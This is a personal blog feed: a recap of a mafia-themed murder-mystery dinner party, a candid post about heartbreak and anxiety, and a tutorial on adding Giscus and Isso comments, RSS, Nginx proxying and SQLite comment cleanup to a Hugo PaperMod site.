Falcone notes

Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
Massimo — Younger brother; justice-minded, hardened by his wife’s death.
Aurora — Youngest; underestimated as naive or harmless, but observant.
Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.

Moretti notes

Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
Enrico — Benito’s younger brother; accountant; clever, restless for influence.
Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
Santo — Lucia’s son; bold, admired and doubted in equal measure.

Aside from these characters, there were two additional characters. Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

Act I, the dinner

We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. Or that’s what was written in our invitations.

The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

The clash was instant as they though we were disrespectful to wear such cloths. As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! They said Why would they take it so far to accuse them of accusing us of murder.

Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

Act II, the invitations

Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

Act III, the evidence

Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

The room went into silence again.

Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

Aurora didn’t budge either.

Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

Act IV, the confessions

The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

Sergio did not smile, or any changes in his face. He was ice-cold.

It was still not clear who plotted to kill Salvatore. Everyone was confused.

It was time for deduction.

Act V, the killer(s)

After a long discussion between all the family members, these were the conclusions.

It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

Sophia was just disappointed with all of this. She didn’t budge.

The epilogue

Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Sadness

Fri, 24 Oct 2025 12:48:31 +0000

Honestly, I don’t know why I’m doing any of this. I really don’t. I think for me this is a scape from reality. A scape from the sad thing that happened earlier this month. A scape from feeling used, or let’s say abused if you will, and then thrown away. Just like a piece of trash. It’s been hurting more and more. I’ve been lying to myself that I don’t care. That I’ve moved on.

I’ve been seeking validation ever since. The validation that was lacking during that encounter. The feeling of not being good enough.

It’s enough grieving though. But is it? I tell myself I have moved on. I’m not chasing. I’m really not.

I do know that this was indeed the best that could’ve happened for me. I just dodged a bullet. But still, there is a part of me that hurts, that grieves. A part that doesn’t want to move on. I told myself that I will meet new people, and forget. But then aren’t I changing the problem?

The problem isn’t what is on the surface. It’s something deeper. The fact that I feel lonely, scared, anxious. My anxious attachment, combined with overthinking, hurts me. I have to analyse and see the worse in every encounter.

Like if I tell a group of friends that I won’t go with them a few times, I will be removed from the group. That if everyone is busy, they have planned something together and I’m not invited. That if someone doesn’t reply to me, they hate me. Or that if someone passes me and doesn’t look at me or say a word, they don’t want to see me, or don’t want me around them.

I don’t know how to stop these. I started to do more home office for this very reason, but I wasn’t that productive. I think my time, and life, is going to waste, and I don’t know how to stop it. It’s getting annoying.

Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I’m far along I feel the extra stress I was neglecting. Things just don’t feel right. I think I’m becoming depressed again.

Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. I know if I initiate, I get responses back. Well, maybe not. Maybe my expiration date has passed. But then I would be chasing bread crumbs again. Those crumbs won’t let me find a true good quality loaf of bread! They keep me distracted, and make me exhausted. But they also mentally help me.

Maybe I should go for coffee at different times just not to meet this person. I don’t know. I just know I’m hurting from within, and it’s not nice. It’s like internal bleeding. It’s as painful as it gets. It’s as hurtful as it gets.

I know getting a pet could help me a lot at this point. All of the things I want I can get from a pet. Petting the pet, and caring for it are exactly what makes me feel good. But then I don’t want the responsibility.

Like with a human things feel less stressful, but with a pet it’s scary. I’m more of a father to the pet. Uh… I can’t even have a pet because of my house rules.

I don’t know what to do. What I know is that I’m mentally hurting, and I don’t know what to do. I really don’t. I need help. A lot of help. A lot lot of help. But I can’t ask my friends. I just can’t. They have their own problems. They think I’m weak. They will tell me to man up. Or they just show empathy. But I don’t need empathy. I need a solution. I need to be told what to do. I need help. Help.

… — …

… — … … — … … — …

… — …

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

Thu, 23 Oct 2025 19:31:12 +0200

Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

I’ve been wanting to add comment section to my blog for a while. There are a few problems.

I don’t want to get attacked by bots or random people for no reason.
I don’t want to allow weird things to happen.
I don’t want to have a database for it.

So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github:

What the app can do The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

What “Act on your behalf” means That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

Do commenters have alternatives? Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

Privacy & storage No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

With the notice out of the way let’s dive right in!

Why I chose Giscus (instead of Disqus)

No ads or trackers (my page weight thanks me).
Uses GitHub Discussions (portable, transparent, easy to search).
Readers log in with GitHub (no mystery auth popups).
In theory you can directly go to the repo’s discussion section and comment there!

What you need (for your site, not per user)

A Hugo site using PaperMod ✅
A GitHub account ✅
A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
Giscus app installed on that repo ✅

If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

1) Turn on comments with Giscus

PaperMod renders a comments.html partial when params.comments = true.
So we enable it in config and create the partial.

1.1 Enable comments globally

hugo.toml (snippet)

[params]
  comments = true

You can still opt out per post with comments = false in front matter.

1.2 Create the comments partial

Create this file in your site (not inside the theme):

layouts/partials/comments.html

Paste the Giscus embed (swap the placeholders with yours from giscus.app):

<section id="comments" class="giscus">
  <script
    src="https://giscus.app/client.js"
    data-repo="yourname/blog-comments"
    data-repo-id="YOUR_REPO_ID"
    data-category="Comments"
    data-category-id="YOUR_CATEGORY_ID" -- Get them from Giscus's page! -->
    data-mapping="pathname"
    data-strict="0"
    data-reactions-enabled="1"
    data-emit-metadata="0"
    data-input-position="bottom"
    data-theme="preferred_color_scheme"
    data-lang="en"
    data-loading="lazy"
    crossorigin="anonymous"
    async>
  script>
  <noscript>Enable JavaScript to view comments powered by Giscus.noscript>
section>

Notes

You’ll get repo-id and category-id from giscus.app after picking your repo + category.
data-mapping="pathname" works great for static sites.
Prefer a public repo so visitors can read discussions without friction.
Want a different language? Change data-lang (e.g., de, fr).

2) Enable RSS (home + sections)

Hugo already knows how to generate feeds; we just tell it where.

hugo.toml

baseURL = "https://example.com/"  # set your production URL

[outputs]
  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
  section = ["HTML", "RSS"]
  taxonomy = ["HTML", "RSS"]
  term = ["HTML", "RSS"]

[services.rss]
  limit = -1   # -1 = no cap; or set e.g. 20

Feed URLs

Home feed: /index.xml → https://example.com/index.xml
Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)

If you’re using a .onion address or staging domain, just set that in baseURL.
Locally, Hugo serves feeds at http://localhost:1313/index.xml.

3) Show an RSS button on the home page

PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

This appears if you enable Home-Info or Profile mode:

[params.homeInfoParams]
  Title = "Hello, internet!"
  Content = "Notes, experiments, and occasional rabbit holes."

[[params.socialIcons]]
  name = "rss"        # lowercase matters
  url  = "/index.xml"

Create:

layouts/partials/extend_footer.html

Paste:

<a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
  {{ partial "svg.html" (dict "name" "rss") }}
  <span>RSSspan>
a>

Make it a sensible size:

Create:

assets/css/extended/rss.css

Paste:

/* Small & aligned RSS icon in the footer */
.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
.rss-link span { font-size: .95rem; }

PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

4) Verify everything

Build or run dev:

hugo           # outputs to ./public
# or
hugo server    # serves at http://localhost:1313

Check feeds:

# Home feed:
curl -s http://localhost:1313/index.xml | head

# A section feed (adjust path to your section name):
curl -s http://localhost:1313/posts/index.xml | head

Check comments:

Open any post locally.
Scroll to the bottom — Giscus should appear.
Try a reaction or comment (you’ll be prompted to sign in with GitHub).

5) Per-post controls (handy later)

Turn comments off for a single post:

# in that post’s front matter
comments = false

Full content in RSS (global):

[params]
  ShowFullTextinRSS = true

Show RSS buttons on section/taxonomy lists:

[params]
  ShowRssButtonInSectionTermList = true

6) Troubleshooting (aka “what I bumped into”)

Home page has no RSS icon
That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.
Section feed 404
Folder names are lowercase (content/posts/, not content/Posts/).
The URL mirrors that: /posts/index.xml.
Giscus doesn’t create a discussion
Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
Make sure Discussions is enabled and the Giscus app is installed for the repo.
Icon is comically large
Keep the CSS above; 16–20px usually looks right.

7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

# Create the public comments repo (adjust names)
gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm

# Enable Discussions for it
gh repo edit yourname/blog-comments --enable-discussions

Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

Final config snapshot (condensed)

baseURL = "https://example.com/"
theme = "PaperMod"

[outputs]
  home = ["HTML", "RSS", "JSON"]
  section = ["HTML", "RSS"]
  taxonomy = ["HTML", "RSS"]
  term = ["HTML", "RSS"]

[services.rss]
  limit = -1

[params]
  comments = true
  ShowRssButtonInSectionTermList = true
  ShowFullTextinRSS = true

# Optional if using Home-Info/Profile mode:
# [[params.socialIcons]]
#   name = "rss"
#   url  = "/index.xml"

Appendix — Why I added Isso, how I wired it, and what I fixed

The story (why Isso + why I still keep Giscus)

I wanted comments that:

allow anonymous replies (no GitHub account required),
are lightweight and self-hosted, and
can work on my Tor .onion mirror.

Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

How I run it (high-level)

Site: Hugo + PaperMod
Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme

I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

Hugo partial: switcher + embeds

Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.


<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)button>
  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)button>
  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗a>
div>


<div id="panel-isso">
  <section id="isso-thread">section>
  <script
    src="/isso/js/embed.min.js"
    data-isso="/isso"
    data-isso-css="true"
    data-isso-lang="en"
    data-isso-max-comments-nested="5"
    data-isso-sorting="newest"
    async>
  script>
  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Issoa>
  small>
div>


<div id="panel-giscus" style="display:none">
  <section id="giscus-thread">section>
div>

<script>
(function () {
  const panelIsso = document.getElementById('panel-isso');
  const panelGisc = document.getElementById('panel-giscus');
  const issoBtn = document.getElementById('btn-isso');
  const giscBtn = document.getElementById('btn-giscus');
  let gLoaded = false;

  function isDark() {
    // 1) explicit PaperMod preference
    const pref = localStorage.getItem('pref-theme');
    if (pref === 'dark')  return true;
    if (pref === 'light') return false;

    // 2) page state (classes / data-theme)
    const H = document.documentElement, B = document.body;
    const hasDark =
      H.classList.contains('dark') || B.classList.contains('dark') ||
      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    if (hasDark) return true;

    // 3) OS preference
    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
  }
  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');

  function loadGiscus() {
    if (gLoaded) return;
    const s = document.createElement('script');
    s.src = 'https://giscus.app/client.js';
    s.async = true;
    s.crossOrigin = 'anonymous';
    s.setAttribute('data-repo','AlipourIm/blog-comments');
    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    s.setAttribute('data-category','Comments');
    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    s.setAttribute('data-mapping','pathname');
    s.setAttribute('data-strict','0');
    s.setAttribute('data-reactions-enabled','1');
    s.setAttribute('data-emit-metadata','0');
    s.setAttribute('data-input-position','bottom');
    s.setAttribute('data-lang','en');
    s.setAttribute('data-theme', gTheme());  // initial theme
    document.getElementById('giscus-thread').appendChild(s);

    // Retheme once iframe exists
    const reTheme = () => {
      const iframe = document.querySelector('iframe.giscus-frame');
      if (!iframe) return;
      iframe.contentWindow?.postMessage(
        { giscus: { setConfig: { theme: gTheme() } } },
        'https://giscus.app'
      );
    };

    // PaperMod toggle button
    document.getElementById('theme-toggle')?.addEventListener('click', () =>
      setTimeout(reTheme, 0)
    );

    // Also react to attribute changes
    const mo = new MutationObserver(reTheme);
    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });

    gLoaded = true;
  }

  function show(which) {
    const showIsso = which === 'isso';
    panelIsso.style.display = showIsso ? 'block' : 'none';
    panelGisc.style.display = showIsso ? 'none'  : 'block';
    issoBtn?.setAttribute('aria-pressed', showIsso);
    giscBtn?.setAttribute('aria-pressed', !showIsso);
    if (!showIsso) loadGiscus();
  }

  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });

  // default
  show('isso');
})();
script>

Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

# /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
server {
    listen 127.0.0.1:3301 default_server;
    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;

    add_header Referrer-Policy no-referrer always;
    add_header X-Content-Type-Options nosniff always;
    add_header X-Frame-Options SAMEORIGIN always;

    root /srv/hugo/mysite/public-onion;
    index index.html;

    location / { try_files $uri $uri/ /index.html; }

    # /isso -> /isso/
    location = /isso { return 301 /isso/; }

    # IMPORTANT: this must beat regex locations below
    location ^~ /isso/ {
        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-Host $host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_redirect off;
        proxy_read_timeout 60s;
    }

    # static
    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
        access_log off;
        add_header Cache-Control "public, max-age=31536000, immutable";
        try_files $uri =404;
    }
}

Reload and smoke test:

sudo nginx -t && sudo systemctl reload nginx
curl -I http:///isso/js/embed.min.js   # expect 200

If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

Small CSS tweaks (one color across light/dark + spacing)

I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

/* put this in your site CSS */
:root { --btn-blue: #2563eb; } /* adjust to taste */

/* Isso form buttons */
.isso-post-action input[type="submit"],
.isso-post-action input[name="preview"] {
  background: var(--btn-blue) !important;
  color: #fff !important;
  border: none;
  padding: .5rem .75rem;
  border-radius: .4rem;
  cursor: pointer;
}

/* link actions under comments */
.isso-comment-footer a {
  color: var(--btn-blue) !important;
  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
  text-decoration: none;
}
.isso-comment-footer a:hover { text-decoration: underline; }

/* keep name/email/website stacked, slightly larger */
.isso-auth-section .isso-input-wrapper {
  display: block;
  margin: .35rem 0;
}
.isso-auth-section label { font-size: .95rem; }
.isso-auth-section input[type="text"],
.isso-auth-section input[type="email"],
.isso-auth-section input[type="url"] {
  width: 100%;
  font-size: 1rem;
  padding: .5rem .6rem;
}

What changed (the fixes I actually made)

Theme correctness for Giscus.
PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:
- read localStorage.pref-theme first,
- fall back to class/data-theme, then
- fall back to OS preference.
  I also re-theme the Giscus iframe on every toggle via postMessage.
Isso over Tor.
On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.
UI polish.
- Unified button/link color across themes,
- ensured “edit”/“delete” aren’t touching,
- kept the author/email/website inputs stacked, and
- left Submit/Preview styled and grouped.

Sanity check

Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
Switcher buttons swap panels instantly; Giscus only loads when clicked.

8) Final notes!

I could not fully fix the style of Isso. CSS is not easy… drat!

I don’t think anyone actually reads the blog, let alone comment on it. But it felt cool to have a comment section and also RSS for it. I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

Admin note — Delete all Isso comments for a single post

This note is for future me: how to remove every comment tied to one post in Isso.
Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

TL;DR (host with SQLite)

Replace the placeholders for DB and POST_URI first.

# 0) Variables — edit these two lines for your setup
DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)

# 1) Backup (always do this!)
sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"

# 2) Inspect: find the thread row and preview the comments
sqlite3 "$DB" "
.headers on
.mode column
SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
SELECT id, tid, created, author, text
FROM comments
WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
ORDER BY created DESC
LIMIT 25;
"

# 3) Delete all comments for that post (thread)
sqlite3 "$DB" "
DELETE FROM comments
WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
"

# 4) (Optional) Remove the now-empty thread row too
sqlite3 "$DB" "
DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
VACUUM;
"

# 5) Done. Isso usually picks this up automatically.
#    If you're containerized and want to be safe:
# docker restart

If running Isso in Docker

Open a shell in the container, then run the same steps:

docker exec -it  /bin/sh

# Inside the container:
DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
POST_URI="/posts/skin_routine/"

sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
exit

# Optionally restart the container:
docker restart

Notes & gotchas

Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for:
```
[general]
dbpath = /var/lib/isso/comments.db
```
What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts//). If you’re unsure, list recent threads:
```
sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
```
Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
HTTP API option: Isso supports DELETE / if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.

One-liners for the impatient

DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"

Isso container: quick checks & fixes for future me! (thank past me later ^^)

Find the container

docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso

Inspect basic state

docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso

Logs

docker logs --tail=200 isso
docker logs -f isso

Ports & reachability

docker port isso
sudo ss -ltnp | grep ':8080 '
curl -i http://127.0.0.1:8080/

Restart policy (keep it running)

docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
docker update --restart unless-stopped isso

Start/stop the container

docker start isso
